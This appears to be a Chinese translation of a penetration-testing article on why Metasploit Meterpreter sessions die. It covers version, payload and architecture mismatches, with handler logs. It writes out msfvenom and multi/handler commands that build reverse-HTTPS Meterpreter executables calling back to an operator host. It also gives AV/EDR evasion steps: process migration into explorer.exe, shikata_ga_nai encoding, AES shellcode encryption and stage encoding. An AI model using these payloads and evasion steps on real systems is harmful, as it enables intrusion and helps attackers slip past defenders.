垂死挣扎?拯救你的Meterpreter session

译文声明

本文是翻译文章,文章原作者infoseC++matter,文章来源:infosecmatter.com
原文地址:https://www.infosecmatter.com/why-is-your-meterpreter-session-dying-try-these-fixes/


译文仅供参考,具体内容表达以及含义原文为准×

t0144cbd8403bafd2f9

前言

本文将分析常见的meterpreter session终止的原因,并提供相应解决方案。


t01e9b15f5b7036f62e

使用Metasploit Framework时,你可能时常遇到meterpreter session终止的情况,你呆呆地望着控制台的错误信息提示“Meterpreter session 1 closed. Reason: Died”

本篇文章,我们将探究发生这些错误的原因,并提供相应解决方法。

原因一:Metasploit版本不兼容

Meterpreter会话终止的一个常见原因是,使用一个版本的Metasploit(例如v5)生成payload,但是却使用另一个版本的Metasploit(例如v6)来接收Meterpreter连接。

由于不同版本的Metasploit彼此不完全兼容,因此无法使用。 使用不兼容的Metasploit版本会引发各种错误,包括下列错误:

[] Started reverse TCP handler on 192.168.24.5:8443
[] 192.168.1.2 - Meterpreter session 1 closed. Reason: Died
[*] Meterpreter session 1 opened (192.168.24.5:8443 -> 192.168.1.2:49257) at 2020-12-09 08:24:55 -0400

解决方法

针对这种情况,解决方法非常简单,只需确保在两端始终使用相同版本的Metasploit。

例如,如果你正在使用MSFv6生成payload,请确保也使用MSFv6接收连接(或连接到目标)。

原因二:payload不匹配

meterpreter session终止的另一个常见原因是在使用exploit/multi/handler模块时使用了错误的(不匹配)payload。

exploit/multi/handler是一个通用的payload处理程序,用于处理来自独立payloads或exploits的连接,通常使用msfvenom手动生成。

为了实现所需功能,通常要求指定的payload在两端都必须精确匹配,此处很容易犯错。

例如,我们可能在msfvenom中指定使用windows/meterpreter/reverse_https模块payload,而在msfconsole中,却错误地选择了windows/meterpreter/reverse_tcp模块payload。

这可能会导致多种错误,包括以下几点:

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.204.3:8443 
[*] Sending stage (201283 bytes) to 192.168.1.100
[*] Meterpreter session 2 opened (192.168.204.3:8443 -> 192.168.1.100) at 2020-10-15 14:31:01 -0500
[*] Sending stage (201283 bytes) to 192.168.1.100
[*]  - Meterpreter session 2 closed.  Reason: Died
[*] Meterpreter session 3 opened (192.168.204.3:8443 -> 192.168.1.100) at 2020-10-15 14:31:02 -0500
[*] Sending stage (201283 bytes) to 192.168.1.100
[*] Meterpreter session 4 opened (192.168.204.3:8443 -> 192.168.1.100) at 2020-10-15 14:31:02 -0500
[*]  - Meterpreter session 3 closed.  Reason: Died
[*]  - Meterpreter session 4 closed.  Reason: Died
[*] Sending stage (201283 bytes) to 192.168.1.100
[*]  - Meterpreter session 5 closed.  Reason: Died
[*] Meterpreter session 5 opened (192.168.204.3:8443 -> 192.168.1.100) at 2020-10-15 14:31:06 -0500
[*] Sending stage (201283 bytes) to 192.168.1.100
[*]  - Meterpreter session 6 closed.  Reason: Died
[*] Meterpreter session 6 opened (192.168.204.3:8443 -> 192.168.1.100) at 2020-10-15 14:31:07 -0500
[*] Sending stage (201283 bytes) to 192.168.1.100
[*] Meterpreter session 7 opened (192.168.204.3:8443 -> 192.168.1.100) at 2020-10-15 14:31:07 -0500
[*]  - Meterpreter session 7 closed.  Reason: Died
[*] Sending stage (201283 bytes) to 192.168.1.100
[*] Meterpreter session 8 opened (192.168.204.3:8443 -> 192.168.1.100) at 2020-10-15 14:31:12 -0500
[*] Sending stage (201283 bytes) to 192.168.1.100
[*] Meterpreter session 9 opened (192.168.204.3:8443 -> 192.168.1.100) at 2020-10-15 14:31:12 -0500

解决方法

如前所述,我们必须确保在msfvenommsfconsole的两端都使用相同的payload。

下面以windows/x64/meterpreter/reverse_https模块payload为示例,演示如何正确设置multi handler。

(1)设置multi handler listener

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_https
msf6 exploit(multi/handler) > set LHOST 10.11.0.5
msf6 exploit(multi/handler) > set LPORT 8443
msf6 exploit(multi/handler) > run

(2)生成独立的meterpreter payload

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.11.0.5 LPORT=8443 -f exe -o runme.exe

现在,一旦将runme.exe可执行文件投递到目标上并运行,我们就会收到meterpreter session,过程中不存在任何问题:

t01da79f4d7d770cb50

原因三:架构混淆(32位/64位)

在使用Metasploit时,在选择处理器体系结构时犯错误,将它们混淆在一起。

如果我们犯了这样的错误,则可能导致以下错误:

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.204.2:8443 
[*] Sending stage (206403 bytes) to 192.168.100.1
[*] Meterpreter session 4 opened (192.168.204.2:8443 -> 192.168.100.1:50146) at 2020-12-09 13:07:30 +0400
[*] 192.168.100.1 - Meterpreter session 4 closed.  Reason: Died

msfconsole没有响应,我们必须通过^ C(Control + C)按键手动中断会话:

^C[-] Exploit fAIled [user-interrupt]: Interrupt 
[-] run: Interrupted
msf6 exploit(multi/handler) >

解决方法

确保不要在msfvenom和msfconsole中混用了处理器体系结构。 两端只能使用32位或64位payloads。

32位、64位payloads示例:

t01a9dd6bff9a04f2f6

被AV/EDR所斩杀

Meterpreter session 1 closed. Reason: Died错误的另一个常见原因是,某些情况下meterpreter被目标机器上运行的AV(杀毒软件)/EDR(终端检测响应)检测到了。

在这种情况下,meterpreter进程将会被杀死,从而导致以下结果:

[*] Started reverse TCP handler on 192.168.204.2:8443 
[*] Sending stage (985320 bytes) to 192.168.100.1
[*] Meterpreter session 1 opened (192.168.204.2:8443 -> 192.168.100.1:39854) at 2020-12-30 10:33:14 +0400

meterpreter > 
[*] 192.168.100.1 - Meterpreter session 1 closed.  Reason: Died

请注意,在stage投递之后、session成功建立时,meterpreter会话仍会终止。

这会发生在会话期间的任何时刻。

解决方法1:迁移到其他进程

我们可以采取这样一个技巧:尽快将meterpreter进程迁移到另一个良性进程(例如explorer.exe 或是svchost.exe),以此躲避AV查杀。

需要注意的是,进程迁移仅在Windows目标上有效,因为UNIX系统不具有执行这些任务的功能(系统API)。是的,我说的正是CreateRemoteThreadWriteProcessMemory和其他允许进行进程注入的Windows API。

Metasploit框架使我们可以在会话建立后,使用以下高级选项之一实现meterpreter进程的自动迁移:

  • InitialAutoRunScript
  • AutoRunScript

以下是如何将Meterpreter自动迁移到explorer.exe进程的示例:

msf6 exploit(..) > set AutoRunScript "migRATe -n explorer.exe"
msf6 exploit(..) > run
t01ec0210d4f7d25d54

解决方法2:混淆混淆混淆,重要的事情说三遍

混淆显然是一个非常广泛的话题,可以说有无限的方法可以逃避AV检测。

从AV的角度来看,使用以下技巧还可以使meterpreter更难被发现。

建议1:Payload encoding (msfvenom)

使用msfvenom生成payload时,我们可以使用各种编码器甚至加密算法来混淆最终的投递程序。

这是一个使用shikata_ga_nai编码器进行10次迭代来编码的payload,并且还使用aes256算法来加密内部Shellcode的示例:

msfvenom -p windows/meterpreter/reverse_https LHOST=10.11.0.5 LPORT=4443 -f exe -e x86/shikata_ga_nai -i 10 --encrypt aes256 -x /usr/share/windows-binaries/plink.exe -o runme.exe

通过以下命令,可以查看其他编码和加密选项:

msfvenom --list encoders
msfvenom --list encrypt

建议2:Stage encoding (msfconsole)

打开meterpreter会话时,当metermeter stage被发送到目标时,传输的网络流量中有一些特定的、易于识别的字节。

尝试在msfconsole中使用EnableStageEncoding高级选项对stage进行编码:

msf6 exploit(..) > set EnableStageEncoding true
msf6 exploit(..) > run
t01dd7ebfdc910414bc

这可能会有助于规避某些AV,以防meterpreter会话被杀死。

查看msfconsole中的其他选项:

msf6 exploit(..) > show advanced
msf6 exploit(..) > set StageEncoder [TAB] ..

故障排除技巧

这里有一些技巧,可以帮助你解决Metasploit中的问题,不仅是针对与meterpreter会话终止有关问题,而且面向其他相关问题。

Increase logging

msfconsole中有一个全局LogLevel选项,用于控制打印日志的详细程度,可以设置1到5之间的数值:

msf6 exploit(..) > setg LogLevel 5

检查Metasploit日志

发生错误后,检查Metasploit日志文件,了解一下发生了什么:

cat ~/.msf4/logs/framework.log

快速诊断信息

当发生错误(例如meterpreter 会话终止)时,可以通过在msfconsole中运行debug命令来快速获取诊断信息:

[*] 192.168.100.1 - Meterpreter session 1 closed.  Reason: Died
msf6 exploit(..) > debug

此举会打印出各种可能有用的信息,包括Metasploit日志文件本身的相关片段。

Metasploit wiki pages

查看以下资源,以调试终止的meterpreter会话:

https://github.com/rapid7/metasploit-framework/wiki/Debugging-Dead-Meterpreter-Sessions

总结

向Metasploit框架报告issue之前:

  • 确保目标和msfconsole两端都使用相同的payload和体系结构(32位/64位)
  • 检查是否使用与接收meterpreter相同版本的Metasploit来生成payload

另外,为避免杀毒软件检测到meterpreter,导致meterpreter会话终止:

  • 仅选择使用加密通信信道的payload,例如:
    • meterpreter/reverse_winhttps
    • meterpreter/reverse_https
    • meterpreter/reverse_tcp_rc4
    • meterpreter/bind_tcp_rc4
  • 配置meterpreter进程自动迁移到另一个(良性)进程
  • 使用可用的payload编码、加密和混淆选项

本文翻译自 infosecmatter.com, 原文链接 。如若转载请注明出处。

标签